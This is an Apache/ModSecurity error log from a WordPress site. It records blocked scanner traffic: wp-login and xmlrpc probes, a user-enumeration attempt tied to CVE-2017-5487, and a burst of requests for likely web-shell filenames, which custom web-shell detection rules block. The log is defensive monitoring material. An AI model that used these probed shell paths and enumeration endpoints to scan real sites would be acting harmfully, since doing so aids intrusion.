[Sat Nov 22 16:30:18.271276 2025] [:error] [pid 25856:tid 25873] [client 165.227.84.14:33174] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aSF0mhsTP0wy94zKUvGSrgAAAQ8"]
[Sat Nov 22 16:30:18.894457 2025] [:error] [pid 53566:tid 53568] [client 165.227.84.14:33182] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSF0msbSHDBkRbwMbd4IZwAAAMA"]
[Sat Nov 22 16:43:54.990516 2025] [:error] [pid 53478:tid 53516] [client 185.150.190.222:42722] [client 185.150.190.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.150.190.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSF3yghUYdXBbQswAdTYngAAAEc"]
[Sat Nov 22 16:43:56.530432 2025] [:error] [pid 53478:tid 53531] [client 185.150.190.222:42722] [client 185.150.190.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.150.190.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSF3zAhUYdXBbQswAdTYogAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 22 16:59:20.971195 2025] [:error] [pid 53478:tid 53509] [client 162.241.216.101:56248] [client 162.241.216.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.216.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSF7aAhUYdXBbQswAdTcjwAAAEA"], referer: http://rcacivilgroup.com
[Sat Nov 22 18:58:49.953465 2025] [:error] [pid 44259:tid 44286] [client 106.219.64.238:13470] [client 106.219.64.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.64.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSGXaXXe1xL-_YOdRmR5UwAAAZg"]
[Sat Nov 22 19:04:19.363576 2025] [:error] [pid 53479:tid 53537] [client 106.219.64.238:28154] [client 106.219.64.238] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aSGYs26cicFF3Aas-oSYeQAAAIE"]
[Sat Nov 22 19:05:45.004219 2025] [:error] [pid 25856:tid 25872] [client 106.219.64.238:11278] [client 106.219.64.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.64.238, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSGZCRsTP0wy94zKUvHCeAAAAQ4"]
[Sat Nov 22 19:13:35.762621 2025] [autoindex:error] [pid 53477:tid 53483] [client 212.30.33.62:30033] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:13:37.225270 2025] [autoindex:error] [pid 53477:tid 53500] [client 212.30.33.62:30033] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:13:38.167460 2025] [autoindex:error] [pid 53477:tid 53502] [client 212.30.33.62:30033] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:00.543530 2025] [autoindex:error] [pid 25856:tid 25870] [client 212.30.33.59:35307] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:15.426340 2025] [autoindex:error] [pid 9547:tid 9575] [client 212.30.33.92:54929] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:15.913874 2025] [autoindex:error] [pid 9547:tid 9569] [client 212.30.33.92:54929] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:16.890044 2025] [autoindex:error] [pid 9547:tid 9568] [client 212.30.33.92:54929] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:17.638423 2025] [autoindex:error] [pid 9547:tid 9577] [client 212.30.33.92:54929] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:18.296530 2025] [autoindex:error] [pid 9547:tid 9560] [client 212.30.33.92:54929] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:31.885067 2025] [autoindex:error] [pid 53479:tid 53541] [client 212.30.33.225:29411] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:32.448931 2025] [autoindex:error] [pid 53479:tid 53553] [client 212.30.33.225:29411] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:33.052005 2025] [autoindex:error] [pid 53479:tid 53557] [client 212.30.33.225:29411] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:33.857997 2025] [autoindex:error] [pid 53479:tid 53545] [client 212.30.33.225:29411] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:14:58.602071 2025] [autoindex:error] [pid 9547:tid 9577] [client 212.30.33.53:23679] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 19:19:14.155888 2025] [:error] [pid 44259:tid 44282] [client 106.205.176.178:63753] [client 106.205.176.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.205.176.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSGcMnXe1xL-_YOdRmSFrAAAAZQ"]
[Sat Nov 22 19:21:22.456272 2025] [:error] [pid 53478:tid 53525] [client 106.205.176.178:24461] [client 106.205.176.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.205.176.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSGcsghUYdXBbQswAdQBrgAAAFA"]
[Sat Nov 22 19:22:56.225699 2025] [:error] [pid 53479:tid 53537] [client 106.205.176.178:2211] [client 106.205.176.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.205.176.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSGdEG6cicFF3Aas-oSfuQAAAIE"]
[Sat Nov 22 19:27:37.397420 2025] [:error] [pid 53479:tid 53549] [client 80.71.154.37:49357] [client 80.71.154.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.71.154.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSGeKW6cicFF3Aas-oSg7QAAAI0"], referer: http://RCACIVILGROUP.COM
[Sat Nov 22 19:56:48.850950 2025] [:error] [pid 53479:tid 53549] [client 103.110.86.217:54766] [client 103.110.86.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.110.86.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSGlAG6cicFF3Aas-oSqkgAAAI0"]
[Sun Nov 23 00:07:19.035883 2025] [:error] [pid 44259:tid 44275] [client 58.49.233.126:45801] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSHft3Xe1xL-_YOdRmQI6wAAAY0"]
[Sun Nov 23 01:31:28.670798 2025] [:error] [pid 39719:tid 39796] [client 104.223.33.13:57625] [client 104.223.33.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.223.33.13, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSHzcBmP4k0tY5Yex-XG7AAAARQ"]
[Sun Nov 23 04:01:18.493090 2025] [:error] [pid 56178:tid 56217] [client 103.163.161.30:50764] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aSIWjpzQAXWPTUeTK1RhPgAAAEM"]
[Sun Nov 23 04:01:18.759191 2025] [:error] [pid 56176:tid 56189] [client 103.163.161.30:50849] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "aSIWjrjUOh400lKsKrFW0AAAAAI"]
[Sun Nov 23 04:01:19.064364 2025] [:error] [pid 56181:tid 56245] [client 103.163.161.30:50935] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "aSIWj8kLwhNGnt-ns6aUdQAAAIQ"]
[Sun Nov 23 04:01:19.341458 2025] [:error] [pid 56181:tid 56258] [client 103.163.161.30:51027] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "aSIWj8kLwhNGnt-ns6aUegAAAJE"]
[Sun Nov 23 04:01:19.614223 2025] [:error] [pid 56275:tid 56288] [client 103.163.161.30:51094] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "aSIWj7haClcAPg7VXOSFuwAAAMk"]
[Sun Nov 23 04:01:19.874859 2025] [:error] [pid 56178:tid 56234] [client 103.163.161.30:51259] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aSIWj5zQAXWPTUeTK1RhVgAAAFQ"]
[Sun Nov 23 04:01:20.146058 2025] [:error] [pid 56181:tid 56245] [client 103.163.161.30:51543] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aSIWkMkLwhNGnt-ns6aUowAAAIQ"]
[Sun Nov 23 04:01:20.408640 2025] [:error] [pid 56275:tid 56303] [client 103.163.161.30:51603] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aSIWkLhaClcAPg7VXOSFyQAAANg"]
[Sun Nov 23 04:01:20.659389 2025] [:error] [pid 56176:tid 56190] [client 103.163.161.30:51677] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aSIWkLjUOh400lKsKrFW3AAAAAM"]
[Sun Nov 23 04:01:20.931241 2025] [:error] [pid 56181:tid 56242] [client 103.163.161.30:51861] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aSIWkMkLwhNGnt-ns6aUtAAAAIE"]
[Sun Nov 23 04:01:21.218777 2025] [:error] [pid 56181:tid 56260] [client 103.163.161.30:52071] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "aSIWkckLwhNGnt-ns6aUwAAAAJM"]
[Sun Nov 23 04:01:21.477491 2025] [:error] [pid 56275:tid 56283] [client 103.163.161.30:52220] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "aSIWkbhaClcAPg7VXOSF0QAAAMQ"]
[Sun Nov 23 04:01:21.728286 2025] [:error] [pid 56176:tid 56209] [client 103.163.161.30:52434] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "aSIWkbjUOh400lKsKrFW4wAAABY"]
[Sun Nov 23 04:01:22.006523 2025] [:error] [pid 56181:tid 56251] [client 103.163.161.30:52571] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aSIWkskLwhNGnt-ns6aU0QAAAIo"]
[Sun Nov 23 04:01:22.309043 2025] [:error] [pid 56178:tid 56237] [client 103.163.161.30:52691] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aSIWkpzQAXWPTUeTK1RhdgAAAFc"]
[Sun Nov 23 04:01:22.595058 2025] [:error] [pid 56275:tid 56297] [client 103.163.161.30:52801] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aSIWkrhaClcAPg7VXOSF2wAAANI"]
[Sun Nov 23 04:01:22.857397 2025] [:error] [pid 56275:tid 56285] [client 103.163.161.30:52895] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aSIWkrhaClcAPg7VXOSF4wAAAMY"]
[Sun Nov 23 04:01:23.169286 2025] [:error] [pid 56178:tid 56235] [client 103.163.161.30:52998] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSIWk5zQAXWPTUeTK1RhfAAAAFU"]
[Sun Nov 23 04:01:23.447171 2025] [:error] [pid 56176:tid 56205] [client 103.163.161.30:53114] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aSIWk7jUOh400lKsKrFW6QAAABI"]
[Sun Nov 23 04:01:23.699978 2025] [:error] [pid 56275:tid 56291] [client 103.163.161.30:53175] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aSIWk7haClcAPg7VXOSF8QAAAMw"]
[Sun Nov 23 04:01:23.970487 2025] [:error] [pid 56275:tid 56279] [client 103.163.161.30:53209] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/zwso.php"] [unique_id "aSIWk7haClcAPg7VXOSF-QAAAMA"]
[Sun Nov 23 04:01:24.233992 2025] [:error] [pid 56275:tid 56293] [client 103.163.161.30:53332] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aSIWlLhaClcAPg7VXOSF_gAAAM4"]
[Sun Nov 23 04:01:24.536467 2025] [:error] [pid 56181:tid 56241] [client 103.163.161.30:53387] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aSIWlMkLwhNGnt-ns6aU5QAAAIA"]
[Sun Nov 23 04:01:24.815300 2025] [:error] [pid 56275:tid 56299] [client 103.163.161.30:53446] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "aSIWlLhaClcAPg7VXOSGCAAAANQ"]
[Sun Nov 23 04:01:25.105917 2025] [:error] [pid 56181:tid 56260] [client 103.163.161.30:53554] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aSIWlckLwhNGnt-ns6aU6gAAAJM"]
[Sun Nov 23 04:01:25.350588 2025] [:error] [pid 56275:tid 56301] [client 103.163.161.30:53646] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSIWlbhaClcAPg7VXOSGFgAAANY"]
